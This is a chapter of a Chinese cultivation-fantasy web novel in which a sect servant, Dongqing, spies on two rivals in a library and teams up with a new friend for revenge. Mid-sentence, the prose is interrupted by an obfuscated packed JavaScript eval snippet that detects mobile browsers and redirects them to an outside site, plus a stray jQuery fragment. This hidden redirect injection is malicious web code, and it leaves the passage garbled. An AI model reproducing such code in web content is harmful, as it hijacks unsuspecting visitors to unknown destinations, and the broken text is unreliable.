藏经阁建于长生山的阴面,入口隐于半山腰的一道水帘洞,穿过水帘洞,走过狭长的盘龙八弯,眼前便会豁然开朗。
几乎掏空了半座山的藏经阁沿山内壁盘旋而建,灯火如星,嵌满壁龛。中空立着八根擎天立柱,刻着仙人顶三十二位前宗主的画像。书架绕着柱子与山壁盘旋而上,收录了从古至今的龟甲、竹简和经书。
即便藏经阁不准外人进入,但冬青也不是第一次溜进来了,对整个藏经阁的构造了然于心。尤其正值入夜,宗门弟子都歇息了,这个时候人最少也最清净。
冬青随意踏上洞壁旁一朵石莲雕台,宗门弟子称其为莲花飞阶,她一站上去,飞阶立刻泛起暖黄色的光晕,托着她腾空而起。
“去找识海类的书。”
莲花飞阶闪了一下,倏地动了起来,带着冬青飞到了五层。
她轻轻踏上五层的木质地板,入目是沿着山壁而建的琳琅满目的书籍。为了保护书不被破坏,藏经阁每本书里都夹着一张符箓,每当有人将手放到一本书面前,那书便会自动飞出来,稳稳悬停在她面前。
冬青从第一本书开始看起。
偌大的山体中,只有烛火燃烧的毕剥声和书页间摩擦的声音。
冬青长这么大,能接触到书的次数寥寥无几,幼时闻家兄弟上学堂,她只有提前一个晚上躲在树上,才能偷听到先生授课。
所以冬青被紫荷师姐收为杂役后,一有时间便偷偷溜到藏经阁内,如饥似渴的汲取着知识,藏经阁的书汗牛充栋,冬青从第一层看起,到如今也只看到第二层而已。
连续看了五六本书后,书页上的字渐渐重影模糊,冬青索性将书先放回去,仰躺在冰凉地板上,用手肘盖上了眼睛。
一个感官封闭,其余四个感官便敏感起来。冬青刚躺不久,便听到盘龙八弯处传来阵阵脚步声。
她一骨碌坐起身来,四下寻找隐蔽之处,可偌大的藏经阁,竟无一处是可以藏身的。
脚步声越来越近,交谈声模糊地飘进冬青耳朵里。
“果真有这种配方?”
“保真,我亲耳听内门师兄说的!”
“我们这么做,不会……”
“放心吧,天知地知,你知我知,不会有旁人知晓的。”
这声音冬青越听越耳熟,直到声音渐渐清晰起来,她才恍然反应过来。
闻向舟和闻向度?
这两个人又憋什么坏水呢?
她趴在四层边缘,探出半张脸,一双眼落在闻氏兄弟身上,见那两人踏上莲花飞阶,连忙站起身来。
她藏在山体折角处,屏息凝神,心里祈祷着闻氏兄弟不要发现,不然又免不了一场冲突。
“到了。”清晰的脚步声如在耳畔。
完了,冬青心道,闻氏兄弟也上了五层,在对侧收录丹药的地方,只要他们一回头,便能看到她。
正当冬青想要悄悄溜走时,肩膀猛地一痛,一颗圆滚的丹药从旁袭来砸在她肩上,她吃痛一退,慌乱中伸手接住了要落地的丹药。
她向丹药袭来的方向看去,只见一个脑袋从一侧身体中探出来,是个梳着马尾编着小辫的姑娘。
那姑娘见冬青看过来,向她招了招手。
她见冬青没动,似有些急躁,更用力的挥了挥手,示意她到那边去。
冬青瞥了一眼闻氏兄弟,不再犹豫,提起衣摆猫腰飞快的闪到了那姑娘的位置。
那姑娘藏在书架后面,见她过来,连忙侧身让开一个人的身位,拉着她走进了一个狭窄的通道。
冬青头一次知道,原来藏经阁在还隐藏着这样的小通道。
两人躲在书架后面,将经书扒开一个缝隙,观察着闻家兄弟。
闻向度踩着梯子翻找着,忽然向闻向舟招了招手,“快看,我找到了!”
正当冬青为看不清闻氏兄弟打什么主意而发愁时,身旁的姑娘从腰袋里掏出一个透明圆片,她轻声说,“这是个法器,叫千里眼,戴在眼睛上远可观千里。”
冬青立刻凑上前看,只见圆片里,闻氏兄弟手中竹简上的字清晰可见。
她低声念了出来,“取鬼葵子、天目、还有什么……挡住了,练成丹药,可使人浑身瘙痒,面部生疮,溃烂无解。”
冬青把千里眼摘下,眼神逐渐冰冷下来。
这肯定是闻氏兄弟为了报复她想的阴损法子,两人不敢直接置她于死地,便想让她生不如死。
身旁的姑娘见她神色冷峻,拿过千里眼一看,登时火冒三丈,“好你个闻老大闻老二,我说平日里脑袋空空的人怎么有闲心跑来藏经阁了,我就知道他们放不出什么好屁!”
这话算是说到冬青心坎里了,她拉住扬言要去暴打闻氏兄弟的姑娘,低声道,“既然他们要害人,不如以彼之道还施彼身。”
那姑娘闻言双眼一亮,狠狠点了点头。
“走,我带你出去。”
两人一路沿着狭长的通道,走了不知多久,忽然前方传来光亮,拐过一弯后洞口天光大盛,清晨的雾气裹挟着湿气钻入鼻腔,冬青这才知道,已经天亮了。
那姑娘一出山洞,便夸张的长舒了一口气,“憋死我了!”
冬青看着这个动如脱兔的姑娘,道了谢,“多谢。”
“嗐,小事儿!”那姑娘穿着外门弟子的服饰,豪爽的伸出手,“我叫柳又青,你可以叫我红豆。”
姓柳?冬青记得,北诏还有个丹修世家,就是姓柳。
据说柳家炼丹术传女性后代居多,因此柳家女子的夫婿大多入赘,而且子嗣无论男女都姓柳。柳家家主柳兰瑛还曾多次拜访闻家,冬青还曾误打误撞见过几次,不过印象不深,只记得是位不怒自威的女子。
冬青伸手轻轻回握,“红豆?”
柳又青杏眼眯起,粲然一笑,她解释道,“叫红豆是因为我幼时极爱吃红豆,所以我娘干脆唤我小名为红豆,不过可能是吃太多了,现在一吃红豆就起疹子。”
她狡黠地吐了吐舌头,问,“你叫什么名字?”
“冬青。”
“冬青,”柳又青咂摸着这两个字,“真好听的名字。”
冬青嘴角扬起一抹极淡的笑意,她问道,“这怎么有条路?”
洞口处还有块不知猴年马月的龟裂的木头板子,上面龙飞凤舞的写着四个大字“别有洞天”。
“听说常有懒怠的弟子,因为不想用功所以挖了这条路躲授课先生查岗。”柳又青拍了拍胸脯,扬起下巴,“此等妙处被我发现了。”
她追问,“我方才看你一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362853|183774||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见闻家兄弟就要躲,你跟他俩什么关系?”
“我……”冬青斟酌道,“之前用豆谷花使他们二人致敏,好几日没下来床,他们定然怀恨在心。”
冬青声音越来越小,因为对面柳又青的眼睛越来越亮,说到最后,她干脆捧腹大笑起来,“我还说哪位神人替天行道,原来那位义士是你啊!痛快!”
她擦去眼角笑出的泪,一把拉起冬青的手,“我早就看他们二人不爽了,你既跟他二人有仇,便是我柳又青的朋友,快说,你刚才想了什么法子,什么以彼之道还施彼身?”
冬青凑近,对她耳语道出了自己的计划,随后冷笑一声,“想必他们是冲我来的,届时可能还需要你配合一下。”
二人一拍即合,“成!就这么定了!”
后山草木葳蕤,没有修筑上下山的石阶,齐腰高的杂草中间有一条被人踏出来的小径。
柳又青熟稔的拨开杂草沿小径下山,冬青跟在她后面缓步走着,她熬了一夜,加上一抬头看见前面姑娘晃动的小辫,突然感觉有些眩晕。
她盍眼,吁出一口带着颤音的浊气,不知不觉放慢了脚步。
身后脚步声渐渐轻下去,柳又青回头一看,冬青垂着头,一手撑在树干上,已经被落出好远了。
她连忙折返回去,搀起冬青的胳膊,“你怎么了?”
“无妨,”冬青不动声色地把胳膊从她手里抽出,“只是一夜未睡,有些乏了而已。”
柳又青手指微蜷,收回了手,她从腰袋里拿出一个小瓶,从中取出一颗淡青色的丹药递到她嘴边,“这是提神醒脑的丹药,你服下,应当会缓解些头晕不适。”
冬青抿了下唇,没动。
柳又青见她迟疑,便又倒出一颗,当着她的面毫不犹豫地吞了下去。
“你放心,就是寻常丹药。”
冬青被人看穿了自己的戒备,有些愧意,接过丹药服了下去。
丹药入口清凉,丝丝凉意沿着鼻腔上涌至头顶,眩晕之感确实有所好转。
“多谢。”
“冬青,你话真少。”柳又青又重新挽起冬青的胳膊,蹦跳道,“正好我话多,正愁没人听呢。”
雾气渐退,晨光透过树叶间的缝隙透射下来,在地上映出点点浮动的光斑。
一路上柳又青像只欢脱的雀儿一样叽叽喳喳说个没完,从天南海北说到鸟兽鱼虫,冬青不时“嗯”一声应着,两人就这样你十句我一句地从后山翻回了竹居。
“哎!哎!有人来了,你快躲躲!”无相揪着狐狸毛把池南叫起,拉着他躲到了花棚下面。
柳又青毫不见外地推开竹居的门,把冬青扶进来,她打量道,“这不是紫荷师姐的住处吗?”
“嗯,我在这里扫地。”冬青跌坐在石凳上,抄起桌上的茶杯将杯底剩下的水一饮而尽。
铛——
突然,一声厚重悠长的钟声自山顶传来。柳又青一个激灵跳起来,“完蛋了,早课要迟到了!”
她胡乱在腰袋里掏了一把,拿出一个精巧的铃铛塞进冬青手里,飞快嘱咐道,“这是传音铃,计划开始的时候一定记得叫我!”
话音未落,人已风风火火冲出院去。
蹲在花圃里的池南和无相面面相觑,“什么计划?”